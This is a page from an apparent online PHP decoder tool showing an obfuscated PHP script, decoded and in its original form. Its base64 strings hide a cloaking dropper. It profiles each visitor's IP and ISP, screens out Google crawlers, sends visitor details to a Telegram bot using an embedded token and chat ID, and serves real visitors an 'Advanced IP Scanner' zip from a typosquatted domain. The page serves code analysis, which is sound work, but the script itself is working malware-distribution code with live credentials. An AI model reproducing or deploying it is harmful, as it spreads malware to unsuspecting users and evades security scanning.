Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $q0=isset($_SERVER[base64_decode('SFRUUF9SRUZFUkVS')])?$_SERVER[base64_decode('SFRUU..
Decoded Output download
<?php $q0=isset($_SERVER[base64_decode('SFRUUF9SRUZFUkVS')])?$_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]:'';$m1=parse_url(base64_decode('aHR0cDovLw==').$_SERVER[base64_decode('SFRUUF9IT1NU')],PHP_URL_HOST);$i2=explode(base64_decode('Lg=='),$m1)[count(explode(base64_decode('Lg=='),$m1))-2].base64_decode('Lg==').explode(base64_decode('Lg=='),$m1)[count(explode(base64_decode('Lg=='),$m1))-1];$m3=parse_url($q0,PHP_URL_HOST);$h4=explode(base64_decode('Lg=='),$m3)[count(explode(base64_decode('Lg=='),$m3))-2].base64_decode('Lg==').explode(base64_decode('Lg=='),$m3)[count(explode(base64_decode('Lg=='),$m3))-1];$e5=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$d6=gethostbyaddr($e5);$i7="https://check-host.net/ip-info?host={$e5}";$o8=curl_init($i7);curl_setopt($o8,CURLOPT_RETURNTRANSFER,true);$h9=curl_exec($o8);curl_close($o8);$t10=strpos($h9,base64_decode('SVNQPC90ZD4='));if($t10!==false){$o11=strpos($h9,base64_decode('PHRkPg=='),$t10)+4;$e12=strpos($h9,base64_decode('PC90ZD4='),$o11);$w13=substr($h9,$o11,$e12-$o11);}else{$w13=base64_decode('ZW1wdHk=');}$e14=strpos($h9,base64_decode('T3JnYW5pemF0aW9uPC90ZD4='));if($e14!==false){$y15=strpos($h9,base64_decode('PHRkPg=='),$e14)+4;$o16=strpos($h9,base64_decode('PC90ZD4='),$y15);$m17=substr($h9,$y15,$o16-$y15);}else{$m17=base64_decode('ZW1wdHk=');}$t18=strpos($h9,base64_decode('Q291bnRyeTwvdGQ+'));if($t18!==false){$c19=strpos($h9,base64_decode('PHRkPg=='),$t18)+4;$t20=strpos($h9,base64_decode('PC90ZD4='),$c19);$k21=substr($h9,$c19,$t20-$c19);$k21=trim(strip_tags($k21));}else{$k21=base64_decode('ZW1wdHk=');}$q22=base64_decode('NzM3MDMyNjczMDpBQUZIRHB2NUZXY2hqVm9vTzh3dzJuVzlWak9jbFU3RUQwNA==');$i23='';$m24=base64_decode('LTQyNTE3MTc4Mzg=');if(strpos($d6,base64_decode('Z29vZ2xl'))!==false||strpos($w13,base64_decode('Z29vZ2xl'))!==false||strpos($m17,base64_decode('Z29vZ2xl'))!==false||strpos($d6,base64_decode('R29vZ2xl'))!==false||strpos($w13,base64_decode('R29vZ2xl'))!==false||strpos($m17,base64_decode('R29vZ2xl'))!==false||strpos($d6,base64_decode('R09PR0xF'))!==false||strpos($w13,base64_decode('R09PR0xF'))!==false||strpos($m17,base64_decode('R09PR0xF'))!==false||empty($q0)||$h4!==$i2){$o25=array(base64_decode('8J+MkCAjQk9UXw==')=>$i2,base64_decode('8J+Ul0lwIEFkZHJlc3M6IA==')=>$e5,base64_decode('4puxSXAgSG9zdDog')=>$d6,base64_decode('8J+TiklwIElTUDog')=>$w13,base64_decode('8J+noElwIE9yZzog')=>$m17,base64_decode('8J+PgUlwIENvdW50cnk6IA==')=>$k21,base64_decode('8J+nilJlZmVyZXIgRG9tYWluOiA=')=>$h4,);foreach($o25 as $e26=>$h27){$r28.=base64_decode('PGI+').$e26.base64_decode('PC9iPg==').$h27.base64_decode('Cg==');};$r28=urlencode($r28);$s29=fopen("https://api.telegram.org/bot{$q22}/sendMessage?chat_id={$i23}&parse_mode=html&text={$r28}",base64_decode('cg=='));if($s29){header_remove();header(base64_decode('Q29ubmVjdGlvbjogY2xvc2U='));http_response_code(404);die;}else{echo base64_decode('RVJST1I=');}}else{$o25=array(base64_decode('8J+MkCAjTUFOXw==')=>$i2,base64_decode('8J+Ul0lwIEFkZHJlc3M6IA==')=>$e5,base64_decode('4puxSXAgSG9zdDog')=>$d6,base64_decode('8J+TiklwIElTUDog')=>$w13,base64_decode('8J+noElwIE9yZzog')=>$m17,base64_decode('8J+PgUlwIENvdW50cnk6IA==')=>$k21,base64_decode('8J+nilJlZmVyZXIgRG9tYWluOiA=')=>$h4,);foreach($o25 as $e26=>$h27){$r28.=base64_decode('PGI+').$e26.base64_decode('PC9iPg==').$h27.base64_decode('Cg==');};$r28=urlencode($r28);$s29=fopen("https://api.telegram.org/bot{$q22}/sendMessage?chat_id={$m24}&parse_mode=html&text={$r28}",base64_decode('cg=='));if($s29){header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0='));header(base64_decode('Q29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9QWR2YW5jZWRfSVBfU2Nhbm5lcl92LjIuNS4zLnppcA=='));header(base64_decode('Q29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2Zlcg=='));readfile(base64_decode('aHR0cHM6Ly9hZHZhbmNlZC1pcC1zY25uZXIuY29tL0FkdmFuY2VkX0lQX1NjYW5uZXJfdi4yLjUuMy56aXA='));die;}else{Echo base64_decode('RVJST1I=');}}?>
Did this file decode correctly?
Original Code
<?php $q0=isset($_SERVER[base64_decode('SFRUUF9SRUZFUkVS')])?$_SERVER[base64_decode('SFRUUF9SRUZFUkVS')]:'';$m1=parse_url(base64_decode('aHR0cDovLw==').$_SERVER[base64_decode('SFRUUF9IT1NU')],PHP_URL_HOST);$i2=explode(base64_decode('Lg=='),$m1)[count(explode(base64_decode('Lg=='),$m1))-2].base64_decode('Lg==').explode(base64_decode('Lg=='),$m1)[count(explode(base64_decode('Lg=='),$m1))-1];$m3=parse_url($q0,PHP_URL_HOST);$h4=explode(base64_decode('Lg=='),$m3)[count(explode(base64_decode('Lg=='),$m3))-2].base64_decode('Lg==').explode(base64_decode('Lg=='),$m3)[count(explode(base64_decode('Lg=='),$m3))-1];$e5=$_SERVER[base64_decode('UkVNT1RFX0FERFI=')];$d6=gethostbyaddr($e5);$i7="https://check-host.net/ip-info?host={$e5}";$o8=curl_init($i7);curl_setopt($o8,CURLOPT_RETURNTRANSFER,true);$h9=curl_exec($o8);curl_close($o8);$t10=strpos($h9,base64_decode('SVNQPC90ZD4='));if($t10!==false){$o11=strpos($h9,base64_decode('PHRkPg=='),$t10)+4;$e12=strpos($h9,base64_decode('PC90ZD4='),$o11);$w13=substr($h9,$o11,$e12-$o11);}else{$w13=base64_decode('ZW1wdHk=');}$e14=strpos($h9,base64_decode('T3JnYW5pemF0aW9uPC90ZD4='));if($e14!==false){$y15=strpos($h9,base64_decode('PHRkPg=='),$e14)+4;$o16=strpos($h9,base64_decode('PC90ZD4='),$y15);$m17=substr($h9,$y15,$o16-$y15);}else{$m17=base64_decode('ZW1wdHk=');}$t18=strpos($h9,base64_decode('Q291bnRyeTwvdGQ+'));if($t18!==false){$c19=strpos($h9,base64_decode('PHRkPg=='),$t18)+4;$t20=strpos($h9,base64_decode('PC90ZD4='),$c19);$k21=substr($h9,$c19,$t20-$c19);$k21=trim(strip_tags($k21));}else{$k21=base64_decode('ZW1wdHk=');}$q22=base64_decode('NzM3MDMyNjczMDpBQUZIRHB2NUZXY2hqVm9vTzh3dzJuVzlWak9jbFU3RUQwNA==');$i23='';$m24=base64_decode('LTQyNTE3MTc4Mzg=');if(strpos($d6,base64_decode('Z29vZ2xl'))!==false||strpos($w13,base64_decode('Z29vZ2xl'))!==false||strpos($m17,base64_decode('Z29vZ2xl'))!==false||strpos($d6,base64_decode('R29vZ2xl'))!==false||strpos($w13,base64_decode('R29vZ2xl'))!==false||strpos($m17,base64_decode('R29vZ2xl'))!==false||strpos($d6,base64_decode('R09PR0xF'))!==false||strpos($w13,base64_decode('R09PR0xF'))!==false||strpos($m17,base64_decode('R09PR0xF'))!==false||empty($q0)||$h4!==$i2){$o25=array(base64_decode('8J+MkCAjQk9UXw==')=>$i2,base64_decode('8J+Ul0lwIEFkZHJlc3M6IA==')=>$e5,base64_decode('4puxSXAgSG9zdDog')=>$d6,base64_decode('8J+TiklwIElTUDog')=>$w13,base64_decode('8J+noElwIE9yZzog')=>$m17,base64_decode('8J+PgUlwIENvdW50cnk6IA==')=>$k21,base64_decode('8J+nilJlZmVyZXIgRG9tYWluOiA=')=>$h4,);foreach($o25 as $e26=>$h27){$r28.=base64_decode('PGI+').$e26.base64_decode('PC9iPg==').$h27.base64_decode('Cg==');};$r28=urlencode($r28);$s29=fopen("https://api.telegram.org/bot{$q22}/sendMessage?chat_id={$i23}&parse_mode=html&text={$r28}",base64_decode('cg=='));if($s29){header_remove();header(base64_decode('Q29ubmVjdGlvbjogY2xvc2U='));http_response_code(404);die;}else{echo base64_decode('RVJST1I=');}}else{$o25=array(base64_decode('8J+MkCAjTUFOXw==')=>$i2,base64_decode('8J+Ul0lwIEFkZHJlc3M6IA==')=>$e5,base64_decode('4puxSXAgSG9zdDog')=>$d6,base64_decode('8J+TiklwIElTUDog')=>$w13,base64_decode('8J+noElwIE9yZzog')=>$m17,base64_decode('8J+PgUlwIENvdW50cnk6IA==')=>$k21,base64_decode('8J+nilJlZmVyZXIgRG9tYWluOiA=')=>$h4,);foreach($o25 as $e26=>$h27){$r28.=base64_decode('PGI+').$e26.base64_decode('PC9iPg==').$h27.base64_decode('Cg==');};$r28=urlencode($r28);$s29=fopen("https://api.telegram.org/bot{$q22}/sendMessage?chat_id={$m24}&parse_mode=html&text={$r28}",base64_decode('cg=='));if($s29){header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0='));header(base64_decode('Q29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9QWR2YW5jZWRfSVBfU2Nhbm5lcl92LjIuNS4zLnppcA=='));header(base64_decode('Q29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2Zlcg=='));readfile(base64_decode('aHR0cHM6Ly9hZHZhbmNlZC1pcC1zY25uZXIuY29tL0FkdmFuY2VkX0lQX1NjYW5uZXJfdi4yLjUuMy56aXA='));die;}else{Echo base64_decode('RVJST1I=');}}?>
Function Calls
None |
Stats
MD5 | b0bb486b250288503dfcd6326df92235 |
Eval Count | 0 |
Decode Time | 55 ms |